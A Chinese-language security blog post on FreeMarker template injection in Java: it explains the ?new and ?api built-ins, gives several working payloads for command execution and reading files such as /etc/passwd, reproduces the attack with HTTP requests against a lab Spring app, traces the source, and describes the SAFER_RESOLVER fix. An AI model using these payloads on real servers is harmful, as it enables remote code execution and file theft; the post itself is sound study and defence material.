Java安全之freemarker 模板注入

Java安全之freemarker 模板注入

freemarker 简述

FreeMarker 是一款 模板引擎： 即一种基于模板和要改变的数据， 并用来生成输出文本(HTML网页，电子邮件，配置文件，源代码等)的通用工具。 它不是面向最终用户的，而是一个Java类库，是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的，专用的语言， 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示，比如数据库查询和业务运算， 之后模板显示已经准备好的数据。在模板中，你可以专注于如何展现数据， 而在模板之外可以专注于要展示什么数据。

这种方式通常被称为 MVC (模型 视图 控制器) 模式，对于动态网页来说，是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑， 在没有程序员来修改或重新编译代码时，也可以修改页面的样式。

其实FreeMarker的原理就是：模板+数据模型=输出

内置函数

new

可创建任意实现了TemplateModel接口的Java对象，同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。
以下两种常见的FreeMarker模版注入poc就是利用new函数，创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute。

API

value?api 提供对 value 的 API（通常是 Java API）的访问，例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类，或者也可以通过 getResource来实现任意文件读取。
但是，当api_builtin_enabled为true时才可使用api函数，而该配置在2.3.22版本之后默认为false。

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader>  <#assign clazz=classLoader.loadClass(ClassExposingGSON)>  <#assign field=clazz?api.getField(GSON)>  <#assign gson=field?api.get(null)>  <#assign ex=gson?api.fromJson({}, classLoader.loadClass(freemarker.template.utility.Execute))>  ${ex(open -a Calculator.app)}

POC2

<#assign value=freemarker.template.utility.ObjectConstructor?new()>${value(java.lang.ProcessBuilder,whoami).start()}

POC3

<#assign value=freemarker.template.utility.JythonRuntime?new()><@value>import os;os.system(calc.exe)

POC4

<#assign ex=freemarker.template.utility.Execute?new()> ${ ex(open -a Calculator.app) }

读取文件

<#assign is=object?api.class.getResourceAsStream(/Test.class)> FILE:[<#list 0..999999999 as _>     <#assign byte=is.read()>     <#if byte == -1>         <#break>     </#if> ${byte}, </#list>] 
<#assign uri=object?api.class.getResource(/).toURI()> <#assign input=uri?api.create(file:///etc/passwd).toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>     <#assign byte=is.read()>     <#if byte == -1>         <#break>     </#if> ${byte}, </#list>]

漏洞复现与分析

漏洞复现

POST /template HTTP/1.1 Host: 192.168.2.10:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 344  {hello.ftl: <!DOCTYPE html><html lang=\en\><head><meta charset=\UTF-8\><#assign ex=\freemarker.template.utility.Execute\?new()> ${ ex(\open -a Calculator.app\) }<title>Hello!</title><link href=\/css/main.css\ rel=\stylesheet\></head><body><h2 class=\hello-title\>Hello!</h2><script src=\/js/main.js\></script></body></html>} 
POST /hello HTTP/1.1 Host: 192.168.2.10:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json Content-Length: 15  {name: aaa}

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漏洞分析

  public String template(@RequestBody Map<String,String> templates) throws IOException {         StringTemplateLoader stringLoader = new StringTemplateLoader();         for(String templateKey : templates.keySet()){             stringLoader.putTemplate(templateKey, templates.get(templateKey));         }         con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,             con.getTemplateLoader()}));         return index;     }

上面代码stringLoader.putTemplate可设置模板内容，动态添加模板内容。当调用到构造的模板内容时，就会执行构造的恶意表达式。

public String hello(@RequestBody Map<String,Object> body, Model model) {         model.addAttribute(name, body.get(name));         return hello;     }

上面payload构造了hello.ftl模板，在hello方法中return hello，即会调用hello.ftl模板。

解析流程

org.springframework.web.servlet.view.UrlBasedViewResolver#createView

执行到return super.createView(viewName, locale);

开始走freemarker的视图解析

省略冗余代码流程来到

  protected View loadView(String viewName, Locale locale) throws Exception {         AbstractUrlBasedView view = this.buildView(viewName);         View result = this.applyLifecycleMethods(viewName, view);//反射获取实例         return view.checkResource(locale) ? result : null;     }

org.springframework.web.servlet.view.UrlBasedViewResolver#buildView

protected AbstractUrlBasedView buildView(String viewName) throws Exception {         AbstractUrlBasedView view = (AbstractUrlBasedView)BeanUtils.instantiateClass(this.getViewClass());         view.setUrl(this.getPrefix() + viewName + this.getSuffix());         String contentType = this.getContentType();         if (contentType != null) {             view.setContentType(contentType);         }          view.setRequestContextAttribute(this.getRequestContextAttribute());         view.setAttributesMap(this.getAttributesMap());         Boolean exposePathVariables = this.getExposePathVariables();         if (exposePathVariables != null) {             view.setExposePathVariables(exposePathVariables);         }          Boolean exposeContextBeansAsAttributes = this.getExposeContextBeansAsAttributes();         if (exposeContextBeansAsAttributes != null) {             view.setExposeContextBeansAsAttributes(exposeContextBeansAsAttributes);         }          String[] exposedContextBeanNames = this.getExposedContextBeanNames();         if (exposedContextBeanNames != null) {             view.setExposedContextBeanNames(exposedContextBeanNames);         }          return view;     }

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设置url然后为其添加.ftl后缀

org.springframework.web.servlet.view.UrlBasedViewResolver#loadView调用view.checkResource(locale)

org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource

 public boolean checkResource(Locale locale) throws Exception {         String url = this.getUrl();          try {             this.getTemplate(url, locale);

获取view中的url，handle 执行，return回来的值，拼接上.ftl

freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean)

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这里从cache里面取值，而在我们putTemplate设置模板的时候，也会将至存储到cache中。

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去除冗余代码，来到freemarker.cache.TemplateCache.TemplateCacheTemplateLookupContext#lookupWithLocalizedThenAcquisitionStrategy

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freemarker.cache.TemplateCache#lookupTemplateWithAcquisitionStrategy

代码会先拼接_zh_CN,再寻找未拼接_zh_CN的模板名，调用this.findTemplateSource(path)获取模板实例。

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这里就获取到了handle执行返回的模板视图实例。

org.springframework.web.servlet.DispatcherServlet#doDispatch流程

handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);进行模板解析。

调用view.render(mv.getModelInternal(), request, response);

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org.springframework.web.servlet.view.freemarker.FreeMarkerView#processTemplate

 protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {         template.process(model, response.getWriter());     }

freemarker.template.Template#process(java.lang.Object, java.io.Writer)

public void process(Object dataModel, Writer out) throws TemplateException, IOException {     this.createProcessingEnvironment(dataModel, out, (ObjectWrapper)null).process(); }

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来到freemarker.core.MethodCall#_eval看具体实现

TemplateModel _eval(Environment env) throws TemplateException {         TemplateModel targetModel = this.target.eval(env);         if (targetModel instanceof TemplateMethodModel) {             TemplateMethodModel targetMethod = (TemplateMethodModel)targetModel;             List argumentStrings = targetMethod instanceof TemplateMethodModelEx ? this.arguments.getModelList(env) : this.arguments.getValueList(env);             Object result = targetMethod.exec(argumentStrings);             return env.getObjectWrapper().wrap(result);         } else if (targetModel instanceof Macro) {             Macro func = (Macro)targetModel;             env.setLastReturnValue((TemplateModel)null);             if (!func.isFunction()) {                 throw new _MiscTemplateException(env, A macro cannot be called in an expression. (Functions can be.));             } else {                 Writer prevOut = env.getOut();                  try {                     env.setOut(NullWriter.INSTANCE);                     env.invoke(func, (Map)null, this.arguments.items, (List)null, (TemplateElement[])null);                 } catch (IOException var9) {                     throw new TemplateException(Unexpected exception during function execution, var9, env);                 } finally {                     env.setOut(prevOut);                 }                  return env.getLastReturnValue();             }         } else {             throw new NonMethodException(this.target, targetModel, env);         }     }

调用this.target.eval(env);获取实例，然后前面会判断是否为TemplateMethodModel类型，然后调用exec方法。

public Object exec(List arguments) throws TemplateModelException {     ObjectWrapper ow = this.env.getObjectWrapper();     BeansWrapper bw = ow instanceof BeansWrapper ? (BeansWrapper)ow : BeansWrapper.getDefaultInstance();     return bw.newInstance(this.cl, arguments); }

反射调用，这里会返回一个freemarker.template.utility.Execute的实例。

第二次调用freemarker.core.Identifier#_eval的时候,执行获取

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然后最后走到freemarker.template.utility.Execute#exec

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漏洞修复

测试代码

简化了一下，代码如下：

package freemarker;  import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template;  import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap;  public class freemarker_ssti {     public static void main(String[] args) throws Exception {          //设置模板         HashMap<String, String> map = new HashMap<String, String>();         String poc =<#assign aaa=\freemarker.template.utility.Execute\?new()> ${ aaa(\open -a Calculator.app\) };         System.out.println(poc);         StringTemplateLoader stringLoader = new StringTemplateLoader();         Configuration cfg = new Configuration();         stringLoader.putTemplate(name,poc);         cfg.setTemplateLoader(stringLoader);         //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);         //处理解析模板         Template Template_name = cfg.getTemplate(name);         StringWriter stringWriter = new StringWriter();          Template_name.process(Template_name,stringWriter);       } }

设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置cfg.setNewBuiltinClassResolver会 加入一个校验，传递为freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤。

  TemplateClassResolver SAFER_RESOLVER = new TemplateClassResolver() {         public Class resolve(String className, Environment env, Template template) throws TemplateException {             if (!className.equals(ObjectConstructor.class.getName()) && !className.equals(Execute.class.getName()) && !className.equals(freemarker.template.utility.JythonRuntime)) {                 try {                     return ClassUtil.forName(className);                 } catch (ClassNotFoundException var5) {                     throw new _MiscTemplateException(var5, env);                 }             } else {                 throw MessageUtil.newInstantiatingClassNotAllowedException(className, env);             }         }     };

从 2.3.17版本以后，官方版本提供了三种TemplateClassResolver对类进行解析：
1、UNRESTRICTED_RESOLVER：可以通过 ClassUtil.forName(className) 获取任何类。

2、SAFER_RESOLVER：不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
3、ALLOWS_NOTHING_RESOLVER：不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver，从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。

开发资料

https://freemarker.apache.org/docs/api/index.html

https://vimsky.com/examples/detail/java-method-freemarker.cache.StringTemplateLoader.putTemplate.html

参考

服务器端模版注入SSTI分析与归纳

Freemarker模板注入 Bypass